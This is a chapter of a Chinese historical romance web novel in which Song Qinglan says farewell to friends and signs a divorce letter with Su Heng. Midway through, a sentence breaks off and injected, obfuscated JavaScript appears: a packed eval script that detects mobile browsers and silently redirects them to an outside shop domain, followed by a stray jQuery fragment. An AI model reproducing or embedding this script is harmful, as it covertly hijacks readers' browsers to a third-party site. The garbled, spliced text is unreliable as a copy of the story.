考虑到凌颜现在怀孕月份小怕出事,就一直没有人告诉她孩子要过继给苏恒的事。不过纸终究包不住火,街上竟有流言说她腹中的孩子是苏恒的。
凌颜知道后大怒,因怀着孕身体弱,她竟直接晕了过去。还好宋清兰这段时日一直陪着她,现在喝了药凌颜已经醒了。
“嫂嫂,外面的人怎可这样辱我……”凌颜委屈地哭着,她好不容易有了孩子,却要被这样侮辱。
宋清兰打听了那消息的来源,竟然是从宫里传出来的,那肯定就是宣盛帝的意思了。
宋清兰安慰道:“颜妹,你别多想,至少你和太子都知道这孩子来得多么不容易。”
说起来太子,凌颜心里更难受了。
那日她去东宫告诉宁辰怀孕的消息,宁辰先是开心不已,甚至想听听孩子有没有动静。可等她问什么时候他们能复婚时宁辰的脸瞬间垮下,原来宣盛帝是铁了心让他们分开,就算不娶萧玉引还会是别人。
凌颜哭着道:“嫂嫂,你知道吗,我甚至想好了自己可以不当太子妃,哪怕是良娣也行。可是圣上连这都不能答应,他还下旨说太子以后不得娶凌家之女凌颜为妻……”
这道圣旨一下,凌颜与宁辰再无可能了。
宋清兰拍着她的背安慰道:“我知你伤心,可是孩子受不了这么折腾,你真的想要这个孩子吗?”
凌颜含泪点了点头,小心摸了摸肚子。她等了三年终于怀孕了,无论如何她都要把孩子生下来。
但她又愧疚说道:“可是,孩子出生要记在表兄名下,嫂嫂你要是介意的话,我可以带着孩子走,去一个别人都找不到的地方。我也不要当什么太子妃,只要能守着孩子长大就行。”
宋清兰知道她说的是真话,可事情哪有那么容易,她直接拒绝道:“不行,这孩子是皇家血脉,必须明面上改了身份圣上才会放心。你要是带着孩子走反而会让人起疑,到那时估计会性命不保。”
她看着凌颜的眼睛安慰道:“颜妹,侯府才是最安全的!”
眼下对凌颜来说侯府虽然是个牢笼,但是出了这个牢笼就会死。
凌颜含泪摇头道:“可是嫂嫂,这对你不好。”
宋清兰知道这已经是最好的办法了,她硬撑着笑道:“不会的颜妹,不会的,如今保全你和孩子才是最重要的。”
其实宋清兰很介意的,但是她不能说,她心想或许她和苏恒就是没有缘分吧,就在她甘愿做一个望夫石的时候又来一件让她不得不走的事。
宋清兰与苏恒打算等凌颜身体稳定了再说她二人和离的事。这一桩桩一件件的,他们都怕凌颜遭受不住。
凌颜听了宋清兰后抱着她失声痛哭。
宋清兰拍着凌颜的背安抚,她不会怨恨凌颜,她也是个苦命的人,在这件事里大家都是身不由己。
过了一段时间后天气渐渐变冷,宋清兰开始与若水先生商量离去的时间还有他们接下来要去的地方。
宋清兰想带着母亲的灵位先回趟青州,她想带母亲魂归故土。若水先生没去过青州,但是他听宋清兰讲了很多关于青州的事,他现在很憧憬那里。于是二人就将地点定在了青州。
这几个月宋清兰与苏恒像以往一样,只是他们的话变少了,更多时候只是两个人坐在院子里,也不说话。
苏恒好像很喜欢这样,他说如果时间能这样静止就好了,就这样两个人在院子里坐着,安安静静的,很好。
宋清兰不理解苏恒为何要说这些逃避现实的话,不过她也是这么想的,就这样两个人一直坐下去,再无旁人打扰。
日子一天天过去,临走的前几天宋清兰去见了宁安,说她要走了,要去青州。
宁安一开始很震惊,她觉得宋清兰与苏恒这样日夜相伴迟早会有情人终成眷属,为何宋清兰要走?
在宋清兰告诉宁安理由后宁安就理解了。之前宋清兰母亲的事已经在宋清兰心里留下了创伤,这已经成了宋清兰的心病,宁安能理解宋清兰的想法。不是每个人都能跨过那道坎。宁安觉得就算此刻苏恒说喜欢宋清兰,宋清兰也是会走的,毕竟人心易变宋清兰已经体会过了。
宁安不好劝她,但是最好的朋友走了还是有些难过。宁安让宋清兰常写信寄来,有些好玩意也一起寄来,要记得想她这个朋友,或者再来京城看看她。
宋清兰还去见了陆锦年,就在观雨楼里。宋清兰最近才知道原来这观雨楼是陆锦年的产业。
陆锦年这些年因父亲的事情文不能科举,武不能参军,只能经商了。没想到他还挺有做生意的天赋,产业已经分布了好几个城了,而且越做越大。
“陆老板,风采依旧。”宋清兰说这话倒不是因为他们很久没见了,而是因为陆锦年今日打扮得像个花孔雀一样,比他们第一次见面时的打扮还要夸张。
陆锦年这一身可没少引起路人的关注,他叹口气坐下苦恼说道:“别打趣我了,还不是因为我那姨母庆芳公主非要我打扮成这样去相亲。她非说现在的姑娘喜欢这种打扮,我拗不过她只好换上了这身衣服。”
宋清兰被他这话说笑了,虽然陆锦年的行事作风有了天翻地覆的变化,不过他那嘴还是和以前一样。
“那你今天相亲结果怎么样啊?”宋清兰为他斟了杯茶笑着问道。
陆锦年又叹了口气,摇头说道:“亏我打扮那么久,这连面都没见着,我那姨母也不提前说我的身份,只说长相数一数二并且出身贵重。可人家姑娘知道相看的人叫陆锦年之后立马称病不来了。”
庆芳公主是庆阳公主的妹妹,与宣盛帝都是一母所生。在陆淮离世以及庆阳公主出家后,庆芳公主对陆锦年多有照顾。在陆锦年弱冠后,庆芳公主一直在为陆锦年的婚事着急,但京城里的姑娘一听是他都避之不及,毕竟没有人想嫁给一个通敌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17954676|214016||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
罪人的儿子。
陆锦年将茶饮尽,又将茶盏重重地放在桌面上,他深呼一口气说道:“算了,不提这些糟心事了。你还没说今日找我来是什么事?我记得下一批药材交货时间还久着呢。”
陆锦年不止经营茶楼酒楼,他还做着药材生意,如今百善堂最大的供应商就是他,这也是宋清兰最近才知道的。陆锦年做生意都用化名,要不是有次宋清兰苏恒和他一起吃饭时他喝大说漏了嘴,宋清兰也不会知道。
宋清兰摇头淡淡说道:“不是药材的事,是我要走了。过几日就要和若水先生一起离开京城了,今日找你是向你道别的。”
陆锦年怔愣了一瞬,然后他问道:“这是你和苏恒商量的结果吗?”
宋清兰点了点头,她想起来之前陆锦年说要去青州做生意的事,她问道:“你之前说去青州,我和若水先生这次就是先去青州,或许我们可以一起。”
陆锦年眼底闪过一丝寒光,他低声说道:“不急,我还有件事要处理。等我这边结束再去青州。到那时再看有没有缘分在青州见面。”
宋清兰看陆锦年表情有些阴沉,她隐约感觉到陆锦年要做的事不简单,但陆锦年不说她也不会问。
最后她与陆锦年道别,希望能在青州再会。
她与凌颜和侯夫人都交代了她要走的事,凌颜和侯夫人都很喜爱她,听了她要走都是泪流满面。
该告别的人里就只差苏恒了。
宋清兰见苏恒前做了很多思想准备,她怕在苏恒面前落泪,她要坚强一点。
可当苏恒看着她手里那碗汤问“这是最后一碗吗?”的时候,她的眼睛还是酸涩了,眼眶瞬间有了湿意,她赶紧把汤放下,背过去使劲眨了眨眼睛。再深呼吸几口后宋清兰才敢转身过来看向苏恒。
宋清兰压着喉间的不适,说道:“世子,明日我就要走了,今晚我们就把和离书写了吧。”。
“好。”苏恒说这话时没敢抬头看宋清兰。
苏恒准备好纸笔,可在要落笔时他又有些犹豫。
“世子,怎么了?”宋清兰看着那未落下的笔尖低声问道。
久未下笔,墨已经滴下洇湿了纸。
苏恒将那张纸揉成团丢在一边,他说道:“那张纸不能用了,我再换一张。”
他的动作有些慌乱,手也有些抖。他又将纸重新铺好,这下笔终于落下了。
最后二人将手印按上。
宋清兰拿着和离书出了书房,苏恒苦笑着瘫坐在椅子上。
他方才是故意的,他不想写下和离书,可是不写又能怎样呢?让她一生都被侯府所累吗?他痛恨自己,痛恨自己连爱一个人都说不出口。
他对宋清兰的喜欢在一朝一夕中慢慢滋长,如果他能自私些,把她强行留在身边就好了。她现在无依无靠,没有人会知道她在哪。不行!那样宋清兰就会厌恶他,不行……